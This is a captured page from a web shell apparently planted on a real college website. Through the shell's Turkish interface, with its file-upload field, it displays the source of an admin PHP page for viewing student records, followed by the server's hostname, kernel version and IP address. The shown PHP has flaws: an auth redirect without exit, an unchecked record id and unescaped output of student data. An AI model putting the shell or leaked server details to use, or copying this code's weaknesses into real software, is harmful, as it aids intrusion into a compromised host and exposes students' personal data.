Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/swamipolytechnic.org/old/grv/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/swamipolytechnic.org/old/grv/admin/view-student-details.php

<?php
		require_once('lib/functions.php');
		$db		=	new db_functions();

		if(!isset($_SESSION['login_admin_user_id']))
		{
			header("location:index.php");
		}


		$flag				=	0;
		$success_flag		=	0;

		$about						=	"";
		$about1						=	"";
		$about2						=	"";
		$about3						=	"";
		$about4						=	"";
		$about5						=	"";
		$about6						=	"";
		$class_error				=	"";
		$medium_error				=	"";
		$division_error				=	"";
		$stud_contact_no_error		=	"";
		$father_contact_no_error	=	"";
		$mother_contact_no_error	=	"";
		$aadhar_no_error			=	"";
		$advertising_board	=	"";
		$news_paper			=	"";
		$teachers			=	"";
		$friends			=	"";
		$ex_students		=	"";
		$pre_class			=	"";
		$other				=	"";

		$res_id						=	"";
		$res_class					=	"";
		$res_medium					=	"";
		$res_division				=	"";
		$res_roll_no				=	"";
		$res_surname				=	"";
		$res_stud_name				=	"";
		$res_father_name			=	"";
		$res_mother_name			=	"";
		$res_stud_cont				=	"";
		$res_father_cont			=	"";
		$res_mother_cont			=	"";
		$res_residential_no			=	"";
		$res_address				=	"";
		$res_corres_add				=	"";
		$res_child_desc				=	"";
		$res_email					=	"";
		$res_aadhar_no				=	"";
		$res_religion				=	"";
		$res_caste					=	"";
		$res_category				=	"";
		$res_mother_tongue			=	"";
		$res_nationality			=	"";
		$res_birth_palce			=	"";
		$res_birth_date				=	"";
		$res_gender					=	"";
		$res_last_school			=	"";
		$res_admission_date			=	"";
		$res_blood_group			=	"";
		$res_height					=	"";
		$res_weight					=	"";
		$res_student_image			=	"";
		$res_birth_certi			=	"";
		$res_caste_certi			=	"";
		$res_adv_board				=	"";
		$res_news_paper				=	"";
		$res_teachers				=	"";
		$res_friends				=	"";
		$res_ex_students			=	"";
		$res_pre_class				=	"";
		$res_other					=	"";
		$res_remarks				=	"";
		$res_no_of_pupil			=	"";
		$res_stud_id_for_lc			=	"";
		$res_father_quali			=	"";
		$res_father_occu			=	"";
		$res_father_income			=	"";
		$res_father_office_add		=	"";
		$res_father_resident_add	=	"";
		$res_mother_qualifi			=	"";
		$res_mother_occupa			=	"";
		$res_mother_income			=	"";
		$res_mother_office_add		=	"";
		$res_mother_resident_add	=	"";
		$res_date					=	"";
		$res_gr_no					=	"";

		if(isset($_GET['view_id']))
		{
			$edit_id	=	$_GET['view_id'];
			$_SESSION['current_edit_id'] = $edit_id;
		}
		else if(isset($_SESSION['current_edit_id']))
		{

			$edit_id	= $_SESSION['current_edit_id'];
		}

		$data	=	array();

		$data	=	$db->get_all_student_info($edit_id);

		if(!empty($data))
		{		
			$res_id						=	$data[0];
			$res_class					=	$data[1];
			$res_medium					=	$data[2];
			$res_division				=	$data[3];
			$res_roll_no				=	$data[4];
			$res_surname				=	$data[5];
			$res_stud_name				=	$data[6];
			$res_father_name			=	$data[7];
			$res_mother_name			=	$data[8];
			$res_stud_cont				=	$data[9];
			$res_father_cont			=	$data[10];
			$res_mother_cont			=	$data[11];
			$res_residential_no			=	$data[12];
			$res_address				=	$data[13];
			$res_corres_add				=	$data[14];
			$res_child_desc				=	$data[15];
			$res_email					=	$data[16];
			$res_aadhar_no				=	$data[17];
			$res_religion				=	$data[18];
			$res_caste					=	$data[19];
			$res_category				=	$data[20];
			$res_mother_tongue			=	$data[21];
			$res_nationality			=	$data[22];
			$res_birth_palce			=	$data[23];
			$res_birth_date				=	$data[24];
			$res_gender					=	$data[25];
			$res_last_school			=	$data[26];
			$res_admission_date			=	$data[27];
			$res_blood_group			=	$data[28];
			$res_height					=	$data[29];
			$res_weight					=	$data[30];
			$res_student_image			=	$data[31];
			$res_birth_certi			=	$data[32];
			$res_caste_certi			=	$data[33];
			$res_adv_board				=	$data[34];
			$res_news_paper				=	$data[35];
			$res_teachers				=	$data[36];
			$res_friends				=	$data[37];
			$res_ex_students			=	$data[38];
			$res_pre_class				=	$data[39];
			$res_other					=	$data[40];
			$res_remarks				=	$data[41];
			$res_no_of_pupil			=	$data[42];
			$res_stud_id_for_lc			=	$data[43];
			$res_father_quali			=	$data[44];
			$res_father_occu			=	$data[45];
			$res_father_income			=	$data[46];
			$res_father_office_add		=	$data[47];
			$res_father_resident_add	=	$data[48];
			$res_mother_qualifi			=	$data[49];
			$res_mother_occupa			=	$data[50];
			$res_mother_income			=	$data[51];
			$res_mother_office_add		=	$data[52];
			$res_mother_resident_add	=	$data[53];
			$res_date					=	$data[54];
			$res_gr_no					=	$data[55];
	}
?>
<!--
Author: W3layouts
Author URL: http://w3layouts.com
License: Creative Commons Attribution 3.0 Unported
License URL: http://creativecommons.org/licenses/by/3.0/
-->
<!DOCTYPE HTML>
<html>
<head>
<title> <?php echo $application_title; ?> </title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="Novus Admin Panel Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, 
SmartPhone Compatible web template, free WebDesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.css" rel='stylesheet' type='text/css' />
<!-- Custom CSS -->
<link href="css/style.css" rel='stylesheet' type='text/css' />
<!-- font CSS -->
<!-- font-awesome icons -->
<link href="css/font-awesome.css" rel="stylesheet"> 
<!-- //font-awesome icons -->
 <!-- js-->
<script src="js/jquery-1.11.1.min.js"></script>
<script src="js/modernizr.custom.js"></script>
<!--webfonts-->
<link href='//fonts.googleapis.com/css?family=Roboto+Condensed:400,300,300italic,400italic,700,700italic' rel='stylesheet' type='text/css'>
<!--//webfonts--> 
<!--animate-->
<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
<script src="js/wow.min.js"></script>
	<script>
		 new WOW().init();
	</script>
<!--//end-animate-->
<!-- chart -->
<script src="js/Chart.js"></script>
<!-- //chart -->
<!--Calender-->
<link rel="stylesheet" href="css/clndr.css" type="text/css" />
<script src="js/underscore-min.js" type="text/javascript"></script>
<script src= "js/moment-2.2.1.js" type="text/javascript"></script>
<script src="js/clndr.js" type="text/javascript"></script>
<script src="js/site.js" type="text/javascript"></script>
<!--End Calender-->
<!-- Metis Menu -->
<script src="js/metisMenu.min.js"></script>
<script src="js/custom.js"></script>
<link href="css/custom.css" rel="stylesheet">
<!--//Metis Menu -->
</head> 
<body class="cbp-spmenu-push">
	<div class="main-content" >
		<!--left-fixed -navigation-->
		<?php
			include("left-section.php");
		?>
		<!--left-fixed -navigation-->
		<!-- header-starts -->
		<?php
			include("header.php");
		?>
		<!-- //header-ends -->
		<!-- main content start-->
		<div id="page-wrapper">
<div class="main-page signup-page">
<h3 class="title1">View Student Information</h3>
<div class="sign-up-row widget-shadow">
<form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" autocomplete="off">
									
								<?php
									if($success_flag==1)
									{
								?>
									
									<div class="alert alert-success">
									<span class="alert-link">Success! </span>Record Updated successfully.
									</div>	
								<?php
									}
								?>
										
								<?php
									if($success_flag==2)
									{
								?>
									
									<div class="alert alert-danger">
									<span class="alert-link">Failed! </span>To Update Record.
									</div>	
								<?php
									}
								?>
				<h5>Personal Information :</h5>
				 <div class="form-group col-lg-4">
						<label>Surname:</label>
						<?php echo $res_surname; ?>
					</div>
					<div class="form-group col-lg-4">
						<label>Student's Name:</label>
						 <?php echo $res_stud_name; ?>
					</div>
					<div class="form-group col-lg-4">
						<label>Father's Name:</label>
						<?php echo $res_father_name; ?>
					</div>
					<div class="form-group col-lg-6">
						<label> Student Contact No:</label>
						<?php echo $res_stud_cont; ?>
					</div>
					<div class="form-group col-lg-6">
						<label>Father's Contact No:</label>
						 <?php echo $res_father_cont; ?>
					</div>
					<div class="form-group col-lg-6">
						<label>Mother's Name:</label>
						<?php echo $res_mother_name; ?>
					</div>
					<div class="form-group col-lg-6">
						<label>Mother's Contact No:</label>
						<?php echo $res_mother_cont; ?>
					</div>
				<div class="form-group col-lg-6" >
				<label> Department:</label>
				<?php echo $res_class; ?>
				</div>
				<div class="form-group col-lg-6" >
				<label>Semester:</label>
				<?php echo $res_medium; ?>
				</div>
				<div class="form-group col-lg-6">
				 <label>Division: </label>
				 <?php echo $res_division; ?>
				</div>
				<div class="form-group col-lg-6">
					<label>Roll No: </label>
					<?php echo $res_roll_no; ?>	
				</div>
					<div class="form-group col-lg-6">
						<label>Residential Phone No:</label>
						 <?php echo $res_residential_no; ?>
					</div>
					<div class="form-group col-lg-6">
						<label>Address:</label>
						<?php echo $res_address;; ?>
					</div>
					<div class="form-group col-lg-6">
						<label>Correspondence  Address:</label>
						 <?php echo  $res_corres_add; ?>
					</div>
					<!--<div class="form-group col-lg-4">
						<label>Child Description:</label>
						<textarea class="form-control" name="child_desc" placeholder="Enter Child Description." style="resize:none;" ><?php echo $child_desc; ?></textarea>
					</div>-->
					<div class="form-group col-lg-6">
						<label>Email Id:</label>
						<?php echo $res_email; ?>
					</div>
					<!--
					<div class="form-group col-lg-4">
						<label>*Aadhar Number:</label>
						<input type="number" class="form-control" name="aadhar_number" placeholder="Enter Aadhar Number." value="<?php echo $aadhar_number; ?>" />
					</div>
					<div class="form-group col-lg-4">
						<label>Religion:</label>
						<input type="text" class="form-control" name="religion" placeholder="Enter Religion." value="<?php echo $religion; ?>" />
					</div>
					<div class="form-group col-lg-4">
						<label>Caste:</label>
						<input type="text" class="form-control" name="caste" placeholder="Enter Caste." value="<?php echo $caste; ?>" />
					</div>
					<div class="form-group col-lg-4">
						<label>Category:</label>
						<input type="text" class="form-control" name="category" placeholder="Enter Category." value="<?php echo $category; ?>" />
					</div>
					<div class="form-group col-lg-4">
						<label>Mother Tongue:</label>
						<input type="text" class="form-control" name="mother_tongue" placeholder="Enter Mother Tongue." value="<?php echo $mother_tongue; ?>" />
					</div>
					<div class="form-group col-lg-4">
						<label>Nationality:</label>
						<input type="text" class="form-control" name="nationality" placeholder="Enter Nationality." value="<?php echo $nationality; ?>" />
					</div>
					<div class="form-group col-lg-4">
						<label>Place & State Of Birth:</label>
						<input type="text" class="form-control" name="birth_place" placeholder="Enter Place & State Of Birth." value="<?php echo $birth_place; ?>" />
					</div>
					<div class="form-group col-lg-4">
						<label>Date Of Birth:</label>
						<input type="text" class="form-control" name="birth_date" id="birth_date" placeholder="Enter Date Of Birth." value="<?php echo $birth_date; ?>" />
					</div>
					-->
					<div class="form-group col-lg-6">
					<br />
						<label>Gender</label>
						<label class="radio-inline">
							<input type="radio" name="gender" value="Male" <?php if($res_gender=="Male"){ ?>Checked<?php }?>>Male
						</label>
						<label class="radio-inline">
							<input type="radio" name="gender" value="Female" <?php if($res_gender=="Female"){ ?>Checked<?php }?>>Female
						</label>
					</div>
					<!--
					<div class="form-group col-lg-4">
											<label>Last School Attended:</label>
											<input type="text" class="form-control" name="last_school" placeholder="Enter Last School Attended." value="<?php echo $last_school; ?>" />
										</div>
										<div class="form-group col-lg-4">
											<label>Date Of Admission:</label>
											<input type="text" class="form-control" name="admission_date" id="admission_date" placeholder="Enter Date Of Admission." value="<?php echo $admission_date; ?>" />
										</div>
										<div class="form-group col-lg-4">
											<label>Blood group:</label>
											<input type="text" class="form-control" name="blood_group" placeholder="Enter Blood group." value="<?php echo $blood_group; ?>" />
										</div>
										<div class="form-group col-lg-4">
											<label>Height:</label>
											<input type="text" class="form-control" name="height" placeholder="Enter Height." value="<?php echo $height; ?>" />
										</div>
										<div class="form-group col-lg-4">
											<label>Weight:</label>
											<input type="text" class="form-control" name="weight" placeholder="Enter Weight." value="<?php echo $weight; ?>" />
										</div>
										<div class="form-group col-lg-4">
											<label>Add Your Image:</label>
											<input type="file" name="stud_image">
										</div>
										<div class="form-group col-lg-4">
											<label>Birth Certificate:</label>
											<input type="file" name="birth_certificate">
										</div>
										<div class="form-group col-lg-4">
											<label>Caste Certificate:</label>
											<input type="file" name="caste_certificate">
										</div>
										<div class="form-group col-lg-12">
                                            <label>How Do You Come To Know About Us :</label><br />
                                            <label class="checkbox-inline">
                                                <input type="checkbox" name="advertising_board" value="Advertising Boards">Advertising Boards
                                            </label>
                                            <label class="checkbox-inline">
                                                <input type="checkbox" name="news_paper" value="News Paper">News Paper
                                            </label>
                                            <label class="checkbox-inline">
                                                <input type="checkbox" name="teachers" value="Teachers">Teachers
                                            </label>
											<label class="checkbox-inline">
                                                <input type="checkbox" name="friends" value="Friends/Relatives">Friends/Relatives
                                            </label>
											<label class="checkbox-inline">
                                                <input type="checkbox" name="ex_students" value="Ex-Students">Ex-Students
                                            </label>
											<label class="checkbox-inline">
                                                <input type="checkbox" name="pre_class" value="Pre-Class Students">Pre-Class Students
                                            </label>
											<label class="checkbox-inline">
                                                <input type="checkbox" name="other" value="Other">Other
                                            </label>
                                        </div>
										<div class="form-group col-lg-4">
											<label>Remarks:</label>
											<input type="text" class="form-control" name="remarks" placeholder="Enter Remarks." value="<?php echo $remarks; ?>" />
										</div>
										<div class="form-group col-lg-4">
											<label>Gen. Reg. No of Pupil:</label>
											<input type="text" class="form-control" name="no_of_pupil" placeholder="Enter Gen. Reg. No of Pupil." value="<?php echo $no_of_pupil; ?>" />
										</div>
										<div class="form-group col-lg-4">
											<label>Student Id for LC:</label>
											<input type="text" class="form-control" name="stud_id_for_lc" placeholder="Enter Student Id for LC." value="<?php echo $stud_id_for_lc; ?>" />
										</div>
										<div class="form-group col-lg-4">
											<label>G.R. No:</label>
											<input type="text" class="form-control" name="g_r_no" placeholder="Enter Student G.R.No." value="<?php echo $stud_id_for_lc; ?>" />
										</div>
					-->
				<!--	<div class="form-group col-lg-12">
					<h6>Login Information :</h6>
					</div>
					<div class="form-group col-lg-6">
					<label>User Id:</label>
					<input type="email" class="form-control" name="user_id" placeholder="Enter Student User Id." value="<?php echo $user_id; ?>" required/>
					</div>
					<div class="form-group col-lg-6">
						<label>Password:</label>
						<input type="password" class="form-control" name="password" placeholder="Enter Student Password" value="<?php echo $password; ?>" required />
					</div>
					<div class="form-group col-lg-6">
						<label>Parents User Id:</label>
						<input type="email" class="form-control" name="parents_user_id" placeholder="Enter Parrent User Id." value="<?php echo $parents_user_id; ?>" required />
					</div>
					<div class="form-group col-lg-6">
						<label>Parents Password:</label>
						<input type="password" class="form-control" name="parents_password" placeholder="Enter Parrent Password" value="<?php echo $parents_password; ?>" required  />
					</div>-->
					<!--
					<div class="col-lg-12">
									<div class="panel panel-yellow" style="background-color:#ffe6cc">
										<label class="section_title">Information About Father</label>
										<div class="panel-body">
											<div class="form-group col-lg-4">
												<label>Qualification:</label>
												<input class="form-control" name="qualification" placeholder="Enter Qualification." value="<?php echo $qualification; ?>" />
											</div>
											<div class="form-group col-lg-4">
												<label>Occupation:</label>
												<input type="text" class="form-control" name="occupation" placeholder="Enter Occupation." value="<?php echo $occupation; ?>" />
											</div>
											<div class="form-group col-lg-4">
												<label>Monthly Income:</label>
												<input type="text" class="form-control" name="monthly_income" placeholder="Enter Monthly Income." value="<?php echo $monthly_income; ?>" />
											</div>
											<div class="form-group col-lg-4">
												<label>Office Address:</label>
												<textarea class="form-control" name="office_add" placeholder="Enter Office Address." style="resize:none;" value=""><?php echo $office_add; ?></textarea>
											</div>
											<div class="form-group col-lg-4">
												<label>Residential Address:</label>
												<textarea class="form-control" name="residential_add" placeholder="Enter Residential Address." style="resize:none;" value=""><?php echo $residential_add; ?></textarea>
											</div>
										</div>
									</div>
									
								</div>
								
								
								<div class="col-lg-12">
									<div class="panel panel-yellow" style="background-color:#ffe6cc">
										<label class="section_title">Information About Mother</label>
										<div class="panel-body">
											<div class="form-group col-lg-4">
												<label>Qualification:</label>
												<input class="form-control" name="mother_qualifi" placeholder="Enter Qualification." value="<?php echo $mother_qualifi; ?>" />
											</div>
											<div class="form-group col-lg-4">
												<label>Occupation:</label>
												<input type="text" class="form-control" name="mother_occupation" placeholder="Enter Occupation." value="<?php echo $mother_occupation; ?>" />
											</div>
											<div class="form-group col-lg-4">
												<label>Monthly Income:</label>
												<input type="text" class="form-control" name="mother_income" placeholder="Enter Monthly Income." value="<?php echo $mother_income; ?>" />
											</div>
											<div class="form-group col-lg-4">
												<label>Office Address:</label>
												<textarea class="form-control" name="mother_office_add" placeholder="Enter Office Address." style="resize:none;" value=""><?php echo $mother_office_add; ?></textarea>
											</div>
											<div class="form-group col-lg-4">
												<label>Residential Address:</label>
												<textarea class="form-control" name="mother_resident_add" placeholder="Enter Residential Address." style="resize:none;" value=""><?php echo $mother_resident_add; ?></textarea>
											</div>
										</div>
									</div>
									
								</div>
					-->
					<div class="sub_home">
					
					<div class="clearfix"> </div>
					</div>
					</form>			
					<!--<div class="form-group col-lg-12" style="text-align:center;">
						<a href="student-report.php"><< Back To Report </a>
					</div>-->
				</div>
			</div>
		</div>

		<!--footer-->
		</div>
		<!--footer-->
		<?php
			include("footer.php");
		?>
        <!--//footer-->
	</div>
	<!-- Classie -->
		<script src="js/classie.js"></script>
		<script>
			var menuLeft = document.getElementById( 'cbp-spmenu-s1' ),
				showLeftPush = document.getElementById( 'showLeftPush' ),
				body = document.body;
				
			showLeftPush.onclick = function() {
				classie.toggle( this, 'active' );
				classie.toggle( body, 'cbp-spmenu-push-toright' );
				classie.toggle( menuLeft, 'cbp-spmenu-open' );
				disableOther( 'showLeftPush' );
			};
			

			function disableOther( button ) {
				if( button !== 'showLeftPush' ) {
					classie.toggle( showLeftPush, 'disabled' );
				}
			}
		</script>
	<!--scrolling js-->
	<script src="js/jquery.nicescroll.js"></script>
	<script src="js/scripts.js"></script>
	<!--//scrolling js-->
	<!-- Bootstrap Core JavaScript -->
   <script src="js/bootstrap.js"> </script>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4